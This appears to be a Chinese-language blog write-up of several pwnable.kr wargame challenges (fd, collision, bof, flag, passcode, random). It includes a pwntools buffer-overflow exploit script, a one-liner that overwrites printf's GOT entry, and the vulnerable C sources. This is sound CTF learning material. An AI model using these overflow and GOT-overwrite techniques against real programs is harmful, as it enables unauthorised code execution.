没错 我又来了 开了新坑。。。。。 虽然 说不搞pwn了 但是搞了。。。
gogogo
第一题 挺简单的题。。。。
然后我们 看一下 目录都有什么
如果 能够 读到 flag 那就是另外一个故事了。。
行吧 代码审计吧。。。。
read 第一个参数 0的话 是输入 2是 输出 那么 让fd=0 然后让buf 等于那个值就行
很简单的 argv[1] 就是我们命令行的第一个参数
argv[0] 是我们运行文件的路径
那么 我们就可以运行得到flag了
得出flag
collision
这个题 也是代码审计
然后这个题 前16个字符 如果是 1 2 3 4 5 都不对 。。。 1 我学长除5 对啦。。
万万没想到。
bof
终于是一道 正常的pwn题了 呜呜呜 我哭辣
本来这些保护把我吓一跳 然后 直接溢出就可以了 2333.
exp
from pwn import*
io=remote('pwnable.kr','9000')
payload='a'*0x34+p32(0xcafebabe)
io.sendline(payload)
io.interactive()
io.close()
得到flag
第四题 flag
这个题 当我看到是 upx壳的时候 我就感觉这道题不简单 然后我就用 命令行直接拖
得到flag
然后就是 passcode 这道题还是蛮有意思的
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
这个题看起来是个送分题鸭 可是 在我仔细看的时候发现了
我擦咧 你的 取地址符呢
没有取地址符 那他输入的地方去哪了
然后 问了一下旁边做过的dalao 然后就有了大概的思路
又因为 got表可写 然后我们就可以这样子
把password1 的参数给 覆盖成 printf的 got 地址 我们再写 再用scanf 写入到 system 里面 那么 就可以 把 printf 的got 写进去了
我们的参数 那么就成功pwn掉了
system:080483E3 == 134514147
所以脚本可以写成
python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode
效果是
https://blog.csdn.net/qq_20307987/article/details/51303824
第五题 是random 这个题 应该是水题 伪随机 这个东西很久之前就接触了 先看一下题目源码
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
然后 我们自己写程序 看一下第一个会打印什么 1804289383
然后我们异或一下就可以了
得到flag